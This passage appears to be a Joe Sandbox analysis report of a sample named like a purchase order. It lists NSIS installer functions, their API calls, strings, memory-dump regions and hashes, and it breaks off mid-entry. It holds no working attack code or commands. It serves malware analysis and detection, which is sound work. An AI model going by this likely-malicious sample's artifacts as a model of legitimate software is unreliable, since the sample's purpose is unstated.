API ID: File$CloseGlobalHandleNamePathShortlstrlen$AllocAttributesCreateFreePointerSizelstrcpywsprintf
String ID: %ls=%ls$[Rename]
API String ID: 2171350718-461813615
Opcode ID: f8d4e974cc956983b46bcde362b03df5d37b76f918305d7ec0ca4ec5166a0624
Instruction ID: 4536b0422d5dde00314373cba87b6dc9e05edcb010d47b65b9eea0f1bfd6f862
Opcode Fuzzy Hash: f8d4e974cc956983b46bcde362b03df5d37b76f918305d7ec0ca4ec5166a0624
Instruction Fuzzy Hash: 5A313531641B04BBC220AB659D48F6B3AACEF45744F15003FFA46F62D2DB7C98118ABD

Function 00404722 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 275stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 00404771
SetWindowTextW.USER32(00000000,?), ref: 0040479B
SHBrowseForFolderW.SHELL32(?), ref: 0040484C
CoTaskMemFree.OLE32(00000000), ref: 00404857
lstrcmpiW.KERNEL32(00432E80,0042D248,00000000,?,?), ref: 00404889
lstrcatW.KERNEL32(?,00432E80), ref: 00404895
SetDlgItemTextW.USER32(?,000003FB,?), ref: 004048A7

Part of subcall function 00405904: GetDlgItemTextW.USER32(?,?,00000400,004048DE), ref: 00405917

Part of subcall function 0040654E: CharNextW.USER32(?,*?|<>/":,00000000,00000000,00441800,00441800,0043F000,0040336A,00441800,74DF3420,004035D9,?,00000006,00000008,0000000A), ref: 004065B1
Part of subcall function 0040654E: CharNextW.USER32(?,?,?,00000000,?,00000006,00000008,0000000A), ref: 004065C0
Part of subcall function 0040654E: CharNextW.USER32(?,00000000,00441800,00441800,0043F000,0040336A,00441800,74DF3420,004035D9,?,00000006,00000008,0000000A), ref: 004065C5
Part of subcall function 0040654E: CharPrevW.USER32(?,?,00441800,00441800,0043F000,0040336A,00441800,74DF3420,004035D9,?,00000006,00000008,0000000A), ref: 004065D8

GetDiskFreeSpaceW.KERNEL32(0042B218,?,?,0000040F,?,0042B218,0042B218,?,00000001,0042B218,?,?,000003FB,?), ref: 0040496A
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404985

Part of subcall function 00404ADE: lstrlenW.KERNEL32(0042D248,0042D248,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404B7F
Part of subcall function 00404ADE: wsprintfW.USER32 ref: 00404B88
Part of subcall function 00404ADE: SetDlgItemTextW.USER32(?,0042D248), ref: 00404B9B

Strings

A, xrefs: 00404845

Memory Dump Source

Source File: 00000004.00000002.2964517391.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2964501899.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2964537105.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2964552878.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2964579035.0000000000473000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PO 0309494059506060609696007.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
String ID: A
API String ID: 2624150263-3554254475
Opcode ID: 0e7a3ef283d1d7ec7faeb562c0eda326dd22e556ee24bddd125c463040a43afb
Instruction ID: 9ce2ccc5872d7715d19bac2dec5c0444f9ce2fea2c0a51142092d54e0f15b7c0
Opcode Fuzzy Hash: 0e7a3ef283d1d7ec7faeb562c0eda326dd22e556ee24bddd125c463040a43afb
Instruction Fuzzy Hash: F8A165B1A00208ABDB11AFA5CD45AAFB7B8EF84314F10847BF601B62D1D77C99418F6D

Function 00402EDD Relevance: 17.7, APIs: 5, Strings: 5, Instructions: 182COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00402EEE
GetModuleFileNameW.KERNEL32(00000000,00442800,00000400,?,00000006,00000008,0000000A), ref: 00402F0A

Part of subcall function 00405DB0: GetFileAttributesW.KERNEL32(00442800,00402F1D,00442800,80000000,00000003,?,00000006,00000008,0000000A), ref: 00405DB4
Part of subcall function 00405DB0: CreateFileW.KERNEL32(?,?,00000001,00000000,?,00000001,00000000,?,00000006,00000008,0000000A), ref: 00405DD6

GetFileSize.KERNEL32(00000000,00000000,00443000,00000000,00440800,00440800,00442800,00442800,80000000,00000003,?,00000006,00000008,0000000A), ref: 00402F56

Strings

Null, xrefs: 00402FD4
Inst, xrefs: 00402FC2
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 004030B5
Error launching installer, xrefs: 00402F2D
soft, xrefs: 00402FCB

Memory Dump Source

Source File: 00000004.00000002.2964517391.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2964501899.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2964537105.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2964552878.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2964579035.0000000000473000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PO 0309494059506060609696007.jbxd

Similarity

API ID: File$AttributesCountCreateModuleNameSizeTick
String ID: Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 4283519449-527102705
Opcode ID: 9da78bb69fdb731252d5033ab884fa182416324aee7ddcf9fc3f40609bcd7e9e
Instruction ID: dd9ea635540f9dffb1b2b479f8e1e5c18960c1b6140bd96a969558b27d112ec4
Opcode Fuzzy Hash: 9da78bb69fdb731252d5033ab884fa182416324aee7ddcf9fc3f40609bcd7e9e
Instruction Fuzzy Hash: C151F471901205ABDB20AF60DD85B9F7FA8FB0431AF15403BF910B62D5C7789E408BAD

Function 004062DC Relevance: 16.0, APIs: 7, Strings: 2, Instructions: 209stringCOMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(00432E80,00000400), ref: 0040641D
GetWindowsDirectoryW.KERNEL32(00432E80,00000400,00000000,0042C228,?,00405359,0042C228,00000000), ref: 00406430
SHGetSpecialFolderLocation.SHELL32(00405359,?,00000000,0042C228,?,00405359,0042C228,00000000), ref: 0040646C
SHGetPathFromIDListW.SHELL32(?,00432E80), ref: 0040647A
CoTaskMemFree.OLE32(?), ref: 00406485
lstrcatW.KERNEL32(00432E80,\Microsoft\Internet Explorer\Quick Launch), ref: 004064AB
lstrlenW.KERNEL32(00432E80,00000000,0042C228,?,00405359,0042C228,00000000), ref: 00406503

Strings

\Microsoft\Internet Explorer\Quick Launch, xrefs: 004064A5
Software\Microsoft\Windows\CurrentVersion, xrefs: 004063ED

Memory Dump Source

Source File: 00000004.00000002.2964517391.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2964501899.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2964537105.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2964552878.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2964579035.0000000000473000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PO 0309494059506060609696007.jbxd

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskWindowslstrcatlstrlen
String ID: Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 717251189-730719616
Opcode ID: e07025652e73fd573f6e327d7dbd94b5af98cadfbb304e7c9a8d62640b3ffd73
Instruction ID: 29f0adb049bea166a756856afc1b7ff582c4fdfd81cc2e884c30b49282791dbd
Opcode Fuzzy Hash: e07025652e73fd573f6e327d7dbd94b5af98cadfbb304e7c9a8d62640b3ffd73
Instruction Fuzzy Hash: E6611071A00111ABDF209F54DC41AAE37A9EF45318F26803FE943BA2D0D77D9AA1C79D

Function 00404298 Relevance: 12.1, APIs: 8, Instructions: 68COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 004042B5
GetSysColor.USER32(00000000), ref: 004042F3
SetTextColor.GDI32(?,00000000), ref: 004042FF
SetBkMode.GDI32(?,?), ref: 0040430B
GetSysColor.USER32(?), ref: 0040431E
SetBkColor.GDI32(?,?), ref: 0040432E
DeleteObject.GDI32(?), ref: 00404348
CreateBrushIndirect.GDI32(?), ref: 00404352

Memory Dump Source

Source File: 00000004.00000002.2964517391.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2964501899.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2964537105.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2964552878.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2964579035.0000000000473000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PO 0309494059506060609696007.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: cedac81959eb3ef19a74f908d68e4e703a61b794166ebd5b231b869c6a402091
Instruction ID: a3c6a1d12b74a4a342abaca89036a15a37f51972f1e3113ed1cbee018e9c0b42
Opcode Fuzzy Hash: cedac81959eb3ef19a74f908d68e4e703a61b794166ebd5b231b869c6a402091
Instruction Fuzzy Hash: 772156716007059BC724DF78D948B5B77F4AF81710B04893DED96A26E0D734E544CB54

Function 00403116 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 166COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00403180
GetTickCount.KERNEL32 ref: 00403227
MulDiv.KERNEL32(7FFFFFFF,00000064,00000000), ref: 00403250
wsprintfW.USER32 ref: 00403263

Strings

@, xrefs: 0040319A
... %d%%, xrefs: 0040325D

Memory Dump Source

Source File: 00000004.00000002.2964517391.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2964501899.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2964537105.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2964552878.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2964579035.0000000000473000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PO 0309494059506060609696007.jbxd

Similarity

API ID: CountTick$wsprintf
String ID: ... %d%%$@
API String ID: 551687249-3859443358
Opcode ID: 332a35644ce53e0492720e78fed1094326ce68f61c68911b2c6b8c231937ce50
Instruction ID: 5c504835c6c52170eea8577a9cac8da2a2598cbf1b76cdbdeb728d3f56fa2377
Opcode Fuzzy Hash: 332a35644ce53e0492720e78fed1094326ce68f61c68911b2c6b8c231937ce50
Instruction Fuzzy Hash: AA517A71900219DBCB10DFA5DA84A9E7BB8AF04366F14417BEC14B72C0CB78DA40CBA9

Function 0040264A Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 153fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(?,?,?,?), ref: 004026B6
MultiByteToWideChar.KERNEL32(?,00000008,?,?,?,00000001), ref: 004026F1
SetFilePointer.KERNEL32(?,?,?,00000001,?,00000008,?,?,?,00000001), ref: 00402714
MultiByteToWideChar.KERNEL32(?,00000008,?,00000000,?,00000001,?,00000001,?,00000008,?,?,?,00000001), ref: 0040272A

Part of subcall function 00405E91: SetFilePointer.KERNEL32(?,00000000,00000000,00000001), ref: 00405EA7

SetFilePointer.KERNEL32(?,?,?,00000001,?,?,00000002), ref: 004027D6

Strings

9, xrefs: 00402699

Memory Dump Source

Source File: 00000004.00000002.2964517391.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2964501899.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2964537105.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2964552878.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2964579035.0000000000473000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PO 0309494059506060609696007.jbxd

Similarity

API ID: File$Pointer$ByteCharMultiWide$Read
String ID: 9
API String ID: 163830602-2366072709
Opcode ID: 19438e2e62ba8aece1a895eee3c3762f252ce0cb36923fbe756b3879527f42a2
Instruction ID: 0a1b8613d15e357d59cabb4a84863d73d9dad353ca9b6e0785da3ca47288b3a0
Opcode Fuzzy Hash: 19438e2e62ba8aece1a895eee3c3762f252ce0cb36923fbe756b3879527f42a2
Instruction Fuzzy Hash: 42511974D00219AEDF219F95DA88AAEB779FF04304F10443BE901B72D0DBB89982CB18

Function 00405322 Relevance: 10.6, APIs: 7, Instructions: 72stringwindowCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(0042C228,00000000,?,74DF23A0,?,?,?,?,?,?,?,?,?,0040327A,00000000,?), ref: 0040535A
lstrlenW.KERNEL32(0040327A,0042C228,00000000,?,74DF23A0,?,?,?,?,?,?,?,?,?,0040327A,00000000), ref: 0040536A
lstrcatW.KERNEL32(0042C228,0040327A,0040327A,0042C228,00000000,?,74DF23A0), ref: 0040537D
SetWindowTextW.USER32(0042C228,0042C228), ref: 0040538F
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004053B5
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004053CF
SendMessageW.USER32(?,00001013,?,00000000), ref: 004053DD

Memory Dump Source

Source File: 00000004.00000002.2964517391.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2964501899.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2964537105.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2964552878.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2964579035.0000000000473000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PO 0309494059506060609696007.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID:
API String ID: 2531174081-0
Opcode ID: 165d7cb729b0b1d8dbd40609dc1f72fd4c041b11e62b4558e2d47e9179cb1f78
Instruction ID: 851cb2e595d07e8670ef4c489cf40fd5108cb81fe88e509cf6dd9e4b353e565e
Opcode Fuzzy Hash: 165d7cb729b0b1d8dbd40609dc1f72fd4c041b11e62b4558e2d47e9179cb1f78
Instruction Fuzzy Hash: 20218371900518BACF11AFA5DD859CFBFB9EF45350F14807AF904B62A0C7B94A40DFA8

Function 00404BEC Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404C07
GetMessagePos.USER32 ref: 00404C0F
ScreenToClient.USER32(?,?), ref: 00404C29
SendMessageW.USER32(?,00001111,00000000,?), ref: 00404C3B
SendMessageW.USER32(?,0000113E,00000000,?), ref: 00404C61

Strings

f, xrefs: 00404C3D

Memory Dump Source

Source File: 00000004.00000002.2964517391.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2964501899.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2964537105.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2964552878.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2964579035.0000000000473000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PO 0309494059506060609696007.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: e2d2d6aa42d138b4bf43a857dc2fb8cfa63f2fbdf5f441295addbf44c9bf4daa
Instruction ID: 457ccdd811883e010b73e4973708530e0d9e00004b69c5e73a61d7a3cd07de8f
Opcode Fuzzy Hash: e2d2d6aa42d138b4bf43a857dc2fb8cfa63f2fbdf5f441295addbf44c9bf4daa
Instruction Fuzzy Hash: CF015271900218BAEB10DBA4DD85BFEBBBCAF95711F10412BBA50B71D0D7B499018BA4

Function 00402DF3 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402E11
MulDiv.KERNEL32(?,00000064,?), ref: 00402E3C
wsprintfW.USER32 ref: 00402E4C
SetWindowTextW.USER32(?,?), ref: 00402E5C
SetDlgItemTextW.USER32(?,00000406,?), ref: 00402E6E

Strings

verifying installer: %d%%, xrefs: 00402E46

Memory Dump Source

Source File: 00000004.00000002.2964517391.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2964501899.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2964537105.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2964552878.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2964579035.0000000000473000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PO 0309494059506060609696007.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: verifying installer: %d%%
API String ID: 1451636040-82062127
Opcode ID: e1d542de2cd716b5e5aca43617af61348071ba80885408b45aa8db9304e84829
Instruction ID: 97abdd23f95b89fa957f28f44bfdcbbe1494948371ff671501e6f707f2390605
Opcode Fuzzy Hash: e1d542de2cd716b5e5aca43617af61348071ba80885408b45aa8db9304e84829
Instruction Fuzzy Hash: B7014F7164020CBBEF209F60DE49FAA3B69AB04304F008439FA06B91E0DBB885558B98

Function 00406624 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36libraryCOMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(?,00000104), ref: 0040663B
wsprintfW.USER32 ref: 00406676
LoadLibraryExW.KERNEL32(?,00000000,00000008), ref: 0040668A

Strings

UXTHEME, xrefs: 0040662D
%s%S.dll, xrefs: 00406670
\, xrefs: 0040664C

Memory Dump Source

Source File: 00000004.00000002.2964517391.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2964501899.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2964537105.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2964552878.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2964579035.0000000000473000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PO 0309494059506060609696007.jbxd

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%S.dll$UXTHEME$\
API String ID: 2200240437-1946221925
Opcode ID: fcd04411c5a1f64f7e9219edfc5ac0d332aa1f587fd7b062781a7321f30925af
Instruction ID: 9fa172bba6ca99a644905d2b6d7ed641771312ed853c50fe9922007c80c3d461
Opcode Fuzzy Hash: fcd04411c5a1f64f7e9219edfc5ac0d332aa1f587fd7b062781a7321f30925af
Instruction Fuzzy Hash: 7CF0FC70501119A6CF10BB64DD0EF9B365CA700304F10447AA54AF10D1EBB9DB64CB99

Function 3626AA00 Relevance: 10.2, Strings: 8, Instructions: 229COMMON

Download Yara Rule

Strings

$^q, xrefs: 3626AB02
$^q, xrefs: 3626AB5D
$^q, xrefs: 3626ABB2
$^q, xrefs: 3626AB7C
$^q, xrefs: 3626AB88
$^q, xrefs: 3626AAF6
$^q, xrefs: 3626ABBE
$^q, xrefs: 3626AB51

Memory Dump Source

Source File: 00000004.00000002.2986869713.0000000036260000.00000040.00000800.00020000.00000000.sdmp, Offset: 36260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_36260000_PO 0309494059506060609696007.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q
API String ID: 0-3823777903
Opcode ID: f5a0c0fc681508fcc7feecb40d5ca36a57b87c63ea17f8ed8cd634be64337992
Instruction ID: c4992e3ce7aeb08da99fb792b0cfe1a07abfe5a00b919538ff4b88138e6ad691
Opcode Fuzzy Hash: f5a0c0fc681508fcc7feecb40d5ca36a57b87c63ea17f8ed8cd634be64337992
Instruction Fuzzy Hash: 18914F74B10209DFEB14DF66C55476E7BB2FF44348F228529E801AB295DFB49C85CB90

Function 36267160 Relevance: 9.2, Strings: 7, Instructions: 405COMMON

Download Yara Rule

Strings

$^q, xrefs: 36267442
$^q, xrefs: 362675FC
.5vq, xrefs: 362671BB
$^q, xrefs: 36267668
$^q, xrefs: 362674A8
$^q, xrefs: 36267674
$^q, xrefs: 3626749C

Memory Dump Source

Source File: 00000004.00000002.2986869713.0000000036260000.00000040.00000800.00020000.00000000.sdmp, Offset: 36260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_36260000_PO 0309494059506060609696007.jbxd

Similarity

API ID:
String ID: .5vq$$^q$$^q$$^q$$^q$$^q$$^q
API String ID: 0-390881366
Opcode ID: fb0a8bb3ce8d1245371b7ca0cb3e2e3096c2d4aa9478956040cd78c4dca04b73
Instruction ID: 275065cc87f002ff93a55359797fdb50e7cf87cba7cbf10cc945d34ab25286e3
Opcode Fuzzy Hash: fb0a8bb3ce8d1245371b7ca0cb3e2e3096c2d4aa9478956040cd78c4dca04b73
Instruction Fuzzy Hash: ECF15E34A00605CFE705DBAAD598A6EBBB3FF84344F218528D815AB365DF71DC86CB81

Function 004028AD Relevance: 9.1, APIs: 6, Instructions: 86memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000), ref: 00402901
GlobalAlloc.KERNEL32(00000040,?,00000000,?), ref: 0040291D
GlobalFree.KERNEL32(?), ref: 00402956
GlobalFree.KERNEL32(00000000), ref: 00402969
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,000000F0), ref: 00402981
DeleteFileW.KERNEL32(?,00000000,40000000,00000002,00000000,00000000), ref: 00402995

Memory Dump Source

Source File: 00000004.00000002.2964517391.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2964501899.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2964537105.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2964552878.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2964579035.0000000000473000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PO 0309494059506060609696007.jbxd

Similarity

API ID: Global$AllocFree$CloseDeleteFileHandle
String ID:
API String ID: 2667972263-0
Opcode ID: b3fdf1977b6322b79f2de70fe62da7d4d8df1abbe89a1d301570377ab221975a
Instruction ID: 46c72067781f24dbae578634f425dbba750e376c3d5c902d6f733973cd64d3bf
Opcode Fuzzy Hash: b3fdf1977b6322b79f2de70fe62da7d4d8df1abbe89a1d301570377ab221975a
Instruction Fuzzy Hash: 9621AEB1800128BBDF116FA5DE89DDE7E79AF08364F14423AF960762E0CB794C418B98

Function 0040654E Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,*?|<>/":,00000000,00000000,00441800,00441800,0043F000,0040336A,00441800,74DF3420,004035D9,?,00000006,00000008,0000000A), ref: 004065B1
CharNextW.USER32(?,?,?,00000000,?,00000006,00000008,0000000A), ref: 004065C0
CharNextW.USER32(?,00000000,00441800,00441800,0043F000,0040336A,00441800,74DF3420,004035D9,?,00000006,00000008,0000000A), ref: 004065C5
CharPrevW.USER32(?,?,00441800,00441800,0043F000,0040336A,00441800,74DF3420,004035D9,?,00000006,00000008,0000000A), ref: 004065D8

Strings

*?|<>/":, xrefs: 004065A0

Memory Dump Source

Source File: 00000004.00000002.2964517391.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2964501899.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2964537105.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2964552878.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2964579035.0000000000473000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PO 0309494059506060609696007.jbxd

Similarity

API ID: Char$Next$Prev
String ID: *?|<>/":
API String ID: 589700163-165019052
Opcode ID: f2dbc7d310367101a7bf5127f564121aa95c210a65fb008c6410ea5a4ac792ac
Instruction ID: 36fae6fd7d65e337959ab81909abbfc549fe516cf0b4c9ff473ab524d2c4c229
Opcode Fuzzy Hash: f2dbc7d310367101a7bf5127f564121aa95c210a65fb008c6410ea5a4ac792ac
Instruction Fuzzy Hash: B611B65580061279DB302B14BC40EB762F8EF54764F56403FED86732C8EBBC5C9292AD

Function 0040176F Relevance: 7.6, APIs: 5, Instructions: 145stringtimeCOMMON

Download Yara Rule

APIs

lstrcatW.KERNEL32(00000000,00000000,0040A5D0,00440000,?,?,00000031), ref: 004017B0
CompareFileTime.KERNEL32(-00000014,?,0040A5D0,0040A5D0,00000000,00000000,0040A5D0,00440000,?,?,00000031), ref: 004017D5

Part of subcall function 004062BA: lstrcpynW.KERNEL32(?,?,00000400,00403460,00433EE0,NSIS Error,?,00000006,00000008,0000000A), ref: 004062C7

Part of subcall function 00405322: lstrlenW.KERNEL32(0042C228,00000000,?,74DF23A0,?,?,?,?,?,?,?,?,?,0040327A,00000000,?), ref: 0040535A
Part of subcall function 00405322: lstrlenW.KERNEL32(0040327A,0042C228,00000000,?,74DF23A0,?,?,?,?,?,?,?,?,?,0040327A,00000000), ref: 0040536A
Part of subcall function 00405322: lstrcatW.KERNEL32(0042C228,0040327A,0040327A,0042C228,00000000,?,74DF23A0), ref: 0040537D
Part of subcall function 00405322: SetWindowTextW.USER32(0042C228,0042C228), ref: 0040538F
Part of subcall function 00405322: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004053B5
Part of subcall function 00405322: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004053CF
Part of subcall function 00405322: SendMessageW.USER32(?,00001013,?,00000000), ref: 004053DD

Memory Dump Source

Source File: 00000004.00000002.2964517391.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2964501899.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2964537105.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2964552878.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2964579035.0000000000473000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PO 0309494059506060609696007.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID:
API String ID: 1941528284-0
Opcode ID: 6e9a8046af19eb094d6abfdf57eef79a3d41af2fa463d12146f877a34a213090
Instruction ID: 24a82d921ca393d09b0f70664e9a68f54f64900ed4cc6ef124b6c19d11fe7a64
Opcode Fuzzy Hash: 6e9a8046af19eb094d6abfdf57eef79a3d41af2fa463d12146f877a34a213090
Instruction Fuzzy Hash: 12419371900518BACF107BA5DD46DAF3A79EF45368F20423FF422B10E1DA3C8A519A6D

Function 00401DB9 Relevance: 7.5, APIs: 5, Instructions: 43COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00401DBC
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401DD6
MulDiv.KERNEL32(00000000,00000000), ref: 00401DDE
ReleaseDC.USER32(?,00000000), ref: 00401DEF
CreateFontIndirectW.GDI32(0040CDD0), ref: 00401E3E

Memory Dump Source

Source File: 00000004.00000002.2964517391.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2964501899.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2964537105.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2964552878.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2964579035.0000000000473000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PO 0309494059506060609696007.jbxd

Similarity

